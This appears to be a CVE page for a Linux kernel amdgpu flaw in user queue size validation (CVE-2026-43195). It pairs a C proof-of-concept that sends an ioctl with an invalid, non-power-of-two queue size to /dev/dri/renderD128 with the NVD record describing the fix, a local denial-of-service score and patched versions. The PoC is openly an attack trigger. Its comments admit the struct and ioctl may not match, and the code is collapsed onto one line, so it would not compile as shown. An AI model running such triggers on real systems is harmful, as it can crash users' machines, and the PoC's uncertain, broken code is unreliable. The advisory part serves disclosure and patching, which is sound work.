CVE-2026-43195

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include <sys/ioctl.h> #include <drm/amdgpu_drm.h> // PoC for CVE-2026-43195 // This PoC attempts to create a user queue with an invalid size (not a power of two). // Compile: gcc -o poc_cve2026_43195 poc_cve2026_43195.c -I/usr/include/libdrm int main() { int fd = -1; struct drm_amdgpu_user_queue args; // Open the DRM device (render node preferred) fd = open("/dev/dri/renderD128", O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } memset(&args, 0, sizeof(args)); // Set an invalid queue size (e.g., 3, which is not a power of 2) // Hardware requires power of 2 and >= PAGE_SIZE usually. args.queue_size = 3; args.flags = AMDGPU_USER_QUEUE_MODE_IP_DISPATCH; // Example flag // Issue the IOCTL to create the queue // Note: The actual IOCTL number and struct might vary based on kernel version // and specific backport of the feature. int ret = ioctl(fd, DRM_IOCTL_AMDGPU_USER_QUEUE, &args); if (ret == 0) { printf("[!] IOCTL succeeded, vulnerability might be triggered or validation missing.\n"); } else { perror("IOCTL failed"); } close(fd); return 0; }

{"cve": {"id": "CVE-2026-43195", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:38.487", "lastModified": "2026-05-11T20:21:56.267", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu: validate user queue size constraints\n\nAdd validation to ensure user queue sizes meet hardware requirements:\n- Size must be a power of two for efficient ring buffer wrapping\n- Size must be at least AMDGPU_GPU_PAGE_SIZE to prevent undersized allocations\n\nThis prevents invalid configurations that could lead to GPU faults or\nunexpected behavior."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.16", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4562EDA-AFEA-4C62-97CC-C83E109A5F19"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/8079b87c02e531cc91601f72ea8336dd2262fdf1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9f6cc309cd15922fe58cab2dfa1b5993ad31dec7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/cf2a37be899dc1b01f53bf1d0157330eaf3e3f55", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}